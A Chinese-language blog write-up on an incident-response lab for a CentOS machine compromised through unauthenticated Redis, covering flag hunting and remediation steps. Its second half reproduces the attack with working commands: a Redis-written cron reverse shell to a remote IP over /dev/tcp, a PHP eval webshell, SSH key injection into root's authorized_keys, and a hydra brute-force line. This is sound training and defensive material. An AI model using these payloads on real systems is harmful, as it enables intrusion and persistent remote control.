2026-08-13
应急响应与流量分析
00
请注意,本文编写于 93 天前,最后修改于 93 天前,其中某些信息可能已经过时。

目录

一、
如何修复
二、
1.这里通过计划任务反弹shell
2.写shell
3.ssh公钥写入

乱打,linux靶机1应急响应,redis未授权访问6379,如何修复,三种利用方法


一、

首先进去看看是centos

可以尝试梭一把,但是有点多,这里我学习下网上的思路 图片.png

查看history,这里defend用户没有执行过什么 图片.png

所以我们切换到root用户,查看,发现第一个flag{thisismybaby} 图片.png

Linux中的/etc/rc.d/rc.local文件

在Linux系统中,/etc/rc.d/rc.local文件是一个用于添加开机启动命令的脚本。这个文件通常是/etc/rc.local的软链接,类似于Windows中的快捷方式。

当系统启动时,会自动执行/etc/rc.local中的命令,但默认情况下,这个文件没有执行权限。

因此,如果需要在开机时自动执行某些命令,就需要给/etc/rc.d/rc.local文件添加执行权限。

如何设置开机自启动命令

要设置应用程序在开机时自动启动,可以在/etc/rc.d/rc.local文件中添加相应的命令。例如,如果要设置nginx在开机时自动启动,可以按照以下步骤操作:

确保/etc/rc.d/rc.local文件具有执行权限。如果没有,可以使用以下命令修改权限: chmod +x /etc/rc.d/rc.local 编辑/etc/rc.d/rc.local文件,在其中添加启动nginx的命令。例如: # 启动nginx服务 /usr/sbin/nginx 保存文件并重启计算机以测试服务是否能够自动启动。

刚才看到攻攻击者操作了这个文件,所以我们看下,得到第二个flag{kfcvme50} 图片.png

看了看网上教程,有点麻烦,这里我们使用whoamifuck https://github.com/enomothem/Whoamifuck

这里-l扫出来一个192.168.75.129,应该是攻击者ip了 图片.png 或者通过,查看redis日志

bash
grep "Accepted" /var/log/redis/redis.log

图片.png

这里-r扫出来一个redis未授权,我们查看redis日志 图片.png

直接得到flag{P@ssW0rd_redis} 图片.png

这里我们可以进一步排查其他的redis未授权组合招

bash
tail -f /var/log/redis/redis.log 2>/dev/null
bash
cat /root/.ssh/authorized_keys 2>/dev/null
bash
crontab -l

图片.png

通关

图片.png

如何修复

我们可以删除攻击者写入的 SSH 公钥

bash
rm -f /root/.ssh/authorized_keys

删除 Redis 持久化文件中的公钥

bash
# 删除被污染的 dump.rdb rm -f /var/lib/redis/dump.rdb # 重启 Redis 重新生成干净的 rdb systemctl restart redis

清理 rc.local 中的恶意内容

bash
# 查看内容 cat /etc/rc.d/rc.local # 删除攻击者添加的 flag 行或恶意命令 # 用编辑器删掉异常行,保留系统原有的 touch /var/lock/subsys/local vi /etc/rc.d/rc.local

检查并删除可疑用户

bash
# 检查 /etc/passwd 中新增的用户 cat /etc/passwd | grep -E "redis|bash$" # 如果 redis 用户是攻击者创建的,删除用户及家目录 userdel -r redis

图片.png 检查定时任务

bash
# root 的 crontab crontab -l crontab -e # 删除异常任务 # 系统级定时任务 ls -la /etc/cron.d/ ls -la /etc/cron.daily/ ls -la /etc/cron.hourly/ cat /etc/crontab

检查其他持久化后门

bash
# 检查 systemd 自启动服务 ls -la /etc/systemd/system/ ls -la /usr/lib/systemd/system/ # 检查 /etc/profile、~/.bashrc 等是否被写入反弹 shell cat /etc/profile | tail -20 cat /root/.bashrc | tail -20

修复 Redis(核心漏洞)

bash
vi /etc/redis.conf requirepass YourStrongPassword123!@# 把bind 0.0.0.0变为bind 127.0.0.1

图片.png 修改 Redis 运行用户(不要 root)

bash
# 创建 redis 用户 useradd -r -s /sbin/nologin redis # 修改 redis 配置文件中的用户 vi /etc/redis.conf # 找到并设置: # supervised systemd

修改服务文件 /usr/lib/systemd/system/redis.service

bash
[Service] User=redis Group=redis # 修改数据目录权限 chown -R redis:redis /var/lib/redis chown -R redis:redis /var/log/redis # 重启服务 systemctl daemon-reload systemctl restart redis

二、

这里开打,首先开启redis服务

bash
redis-server /etc/redis.conf

看下端口确实存在

图片.png

这里有文章用了

bash
hydra -l root -P dic.txt 172.16.0.109 ssh -V -t 4

来爆破root密码,由于ftp时候我们尝试过这个工具的使用,所以这里就不打了,直接打redis

这篇文章介绍了三种利用方式,我们来试一下 https://blog.csdn.net/Destiny_one/article/details/121650150

首先使用

bash
redis-cli -h 192.168.40.152 -p 6379

redis-cli:Redis 自带的命令行客户端工具,用于连接并操作 Redis 服务器。

-h 192.168.40.152:指定要连接的 Redis 服务器 IP 地址(host)。

-p 6379:指定 Redis 服务的端口号(port),6379 是 Redis 的默认端口

图片.png

使用info查看配置 图片.png

keys *查看密钥

图片.png

1.这里通过计划任务反弹shell

bash
set x "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.137.136/6668 0>&1\n" CentOS 系列(RHEL/CentOS/ Rocky / AlmaLinux): config set dir /var/spool/cron/ config set dbfilename root Ubuntu / Debian 系列: config set dir /var/spool/cron/crontabs/ config set dbfilename root save

图片.png

图片.png

2.写shell

这里因为没有web服务我看,所以直接写tmp了

bash
set x "\n<?php @eval($_POST['test']);?>\n" config set dir /www/admin/localhost_80/wwwroot/ config set dbfilename shell.php save

图片.png

图片.png

3.ssh公钥写入

先生成一个

bash
ssh-keygen -t rsa

图片.png

图片.png

id_rsa —— 私钥(攻击机保留,用来登录)

id_rsa.pub —— 公钥(要写入靶机)

构造包含公钥的文本文件

bash
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/1.txt

图片.png

bash
set x "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDe1kpuTgCdV461iwUGItQ1hRbfmU32qc4QdSfAixwbJnudNik3GkqR/3Ae2MilZpmgcMk4lYE7CO5totcaQuUMU8OlYTOovX8T46cb7j8v2z9LrN3aBWGAOrPdQZNSxcqsEWoWf3AbQ7D2b84TEjdpyoiMyX0lBvmpujby0dNekRk1OKyHzgCTyo3u85z/ycbH1p7CZGg9u26ArTcXBjbu3dxFG1CwunU6w3enrawap/350aUJGgPND8kr/4m2dbWCN98NRjC4Ys9GDWT/OiULG8UyGlatByOzYbFwylaMQe5qD8sWXcYkCK5DvAKKa0kY5jIiBxdY+uXyX3y7McjKq+PCXNpj+jHF1/37rUO35MZ9Hq334hcW3Bs/t0WarejaHp29fl7/RO52/QZzRSadC660+ibMsn+zKtuyRc61jyJudCivGIf0DQGqZYiZ+ALYbEDISzLtga//QMLV2JBC1xN6dVLutuo2DB1oNIIohb444E6kyxbeE21Z9kKoTjc= kali@kali\n\n" config set dir /root/.ssh/ config set dbfilename authorized_keys save

图片.png

bash
ssh -i ~/.ssh/id_rsa root@192.168.40.152

图片.png

这时我们查看.ssh 目录

图片.png